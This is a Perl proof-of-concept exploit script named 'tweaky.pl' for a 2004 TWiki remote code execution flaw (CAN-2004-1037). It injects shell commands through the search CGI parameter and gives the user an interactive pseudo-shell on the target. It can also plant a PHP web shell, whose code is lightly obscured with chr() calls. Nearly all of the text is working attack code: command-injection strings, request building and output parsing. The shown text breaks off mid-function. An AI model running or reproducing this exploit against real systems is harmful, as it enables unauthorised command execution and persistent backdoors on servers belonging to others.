CAN-2004-1037

#!/usr/bin/perl

# "tweaky.pl" v. 1.0 beta 2
#
# Proof of concept for TWiki vulnerability. Remote code execution
# Vuln discovered, researched and exploited by RoMaNSoFt <roman rs-labs com>
#
# Madrid, 30.Sep.2004.

require LWP::UserAgent;
use Getopt::Long;

### Default config
$host = '';
$path = '/cgi-bin/twiki/search/Main/';
$secure = 0;
$get = 0;
$post = 0;
$phpshellpath='';
$createphpshell = '(echo `perl -e \'print chr(60).chr(63)\'` ; echo \'$out = shell_exec($_GET["cmd"].
" 2\'`perl -e \'print chr(62).chr(38)\'`\'1");\' ; echo \'echo "\'`perl -e \'print chr(60)."pre".chr(62)."\\\\
$out".chr(60)."/pre".chr(62)\'`\'";\' ; echo `perl -e \'print chr(63).chr(62)\'`) | tee ';
$logfile = ''; # If empty, logging will be disabled
$prompt = "tweaky\$ ";
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
$proxy = '';
$proxy_user = '';
$proxy_pass = '';
$basic_auth_user = '';
$basic_auth_pass = '';
$timeout = 30;
$debug = 0;
$init_command = 'uname -a ; id';
$start_mark = 'AAAA';
$end_mark = 'BBBB';
$pre_string = 'nonexistantttt\' ; (';
$post_string = ') | sed \'s/\(.*\)/'.$start_mark.'\1'.$end_mark.'.txt/\' ; fgrep -i -l -- \'nonexistantttt';
$delim_start = '<b>'.$start_mark;
$delim_end = $end_mark.'</b>';

print "Proof of concept for TWiki vulnerability. Remote code execution.\n";
print "(c) RoMaNSoFt, 2004. <roman\@rs-labs.com>\n\n";

### User-supplied config (read from the command-line)
$parsing_ok = GetOptions ('host=s' => \$host,
'path=s' => \$path,
'secure' => \$secure,
'get' => \$get,
'post' => \$post,
'phpshellpath=s' => \$phpshellpath,
'logfile=s' => \$logfile,
'init_command=s' => \$init_command,
'useragent=s' => \$useragent,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'basic_auth_user=s' => \$basic_auth_user,
'basic_auth_pass=s' => \$basic_auth_pass,
'timeout=i' => \$timeout,
'debug' => \$debug,
'start_mark=s' => \$start_mark,
'end_mark=s' => \$end_mark);

### Some basic checks
&banner unless ($parsing_ok);

if ($get and $post) {
print "Choose one only method! (GET or POST)\n\n";
&banner;
}

if (!($get or $post)) {
# If not specified we prefer POST method
$post = 1;
}

if (!$host) {
print "You must specify a target hostname! (tip: --host <hostname>)\n\n" ;
&banner;
}

$url = ($secure ? 'https' : 'http') . "://" . $host . $path;

### Checking for a vulnerable TWiki
&run_it ($init_command, 'RS-Labs rlz!');

### Execute selected payload

if ($phpshellpath) {
&create_phpshell;
print "PHPShell created.";
} else {
&pseudoshell;
}

### End
exit(0);

### Create PHPShell
sub create_phpshell {
$createphpshell .= $phpshellpath;
&run_it($createphpshell, 'yeah!');
}

### Pseudo-shell
sub pseudoshell {
open(LOGFILE, ">>$logfile") if $logfile;
open(STDINPUT, '-');

print "Welcome to RoMaNSoFt's pseudo-interactive shell :-)\n[Type Ctrl-D or (bye, quit, exit, logout) to exit]\n
\n".$prompt.$init_command."\n";
&run_it ($init_command);
print $prompt;

while (<STDINPUT>) {
chop;
if ($_ eq "bye" or $_ eq "quit" or $_ eq "exit" or $_ eq "logout") {
exit(1);
}

&run_it ($_) unless !$_;
print "\n".$prompt;
}

close(STDINPUT);
close(LOGFILE) if $logfile;
}

### Print banner and die
sub banner {
print "Syntax: ./tweaky.pl --host=<host> [options]\n\n";
print "Proxy options: --proxy=http://proxy:port --proxy_user=foo --proxy_pass=bar\n";
print "Basic auth options: --basic_auth_user=foo --basic_auth_pass=bar\n";
print "Secure HTTP (HTTPS): --secure\n";
print "Path to CGI: --path=$path\n";
print "Method: --get | --post\n";
print "Enable logging: --logfile=/path/to/a/file\n";
print "Create PHPShell: --phpshellpath=/path/to/phpshell\n";

exit(1);
}

### Execute command via vulnerable CGI
sub run_it {
my ($command, $testing_vuln) = @_;
my $req;
my $ua = new LWP::UserAgent;

$ua->agent($useragent);
$ua->timeout($timeout);

# Build CGI param and urlencode it
my $search = $pre_string . $command . $post_string;
$search =~ s/(\W)/"%" . unpack("H2", $1)/ge;

# Case GET
if ($get) {
$req = HTTP::Request->new('GET', $url . "?scope=text&order=modified&search=$search");
}

# Case POST
if ($post) {
$req = new HTTP::Request POST => $url;
$req->content_type('application/x-www-form-urlencoded');
$req->content("scope=text&order=modified&search=$search");
}

# Proxy definition
if ($proxy) {
if ($secure) {
# HTTPS request
$ENV{HTTPS_PROXY} = $proxy;
$ENV{HTTPS_PROXY_USERNAME} = $proxy_user;
$ENV{HTTPS_PROXY_PASSWORD} = $proxy_pass;
} else {
# HTTP request
$ua->proxy(['http'] => $proxy);
$req->proxy_authorization_basic($proxy_user, $proxy_pass);
}
}

# Basic Authorization
$req->authorization_basic($basic_auth_user, $basic_auth_pass) if ($basic_auth_user);

# Launch request and parse results
my $res = $ua->request($req);

if ($res->is_success) {

print LOGFILE "\n".$prompt.$command."\n" if ($logfile and !$testing_vuln);
@content = split("\n", $res->content);

my $empty_response = 1;

foreach $_ (@content) {
my ($match) = ($_ =~ /$delim_start(.*)$delim_end/g);

if ($debug) {
print $_ . "\n";
} else {
if ($match) {
$empty_response = 0;
print $match . "\n" unless ($testing_vuln);
}
}

print LOGFILE $match . "\n" if ($match and $logfile and !$testing_vuln);
}

if ($empty_response) {
if ($testing_vuln) {
die "Sorry, exploit didn't work!\nPerhaps TWiki is patched or you supplied a wrong URL
(remember it should point to Twiki's search page).\n";
} else {
print "[Server issued an empty response. Perhaps you entered a wrong command?]\n";
}
}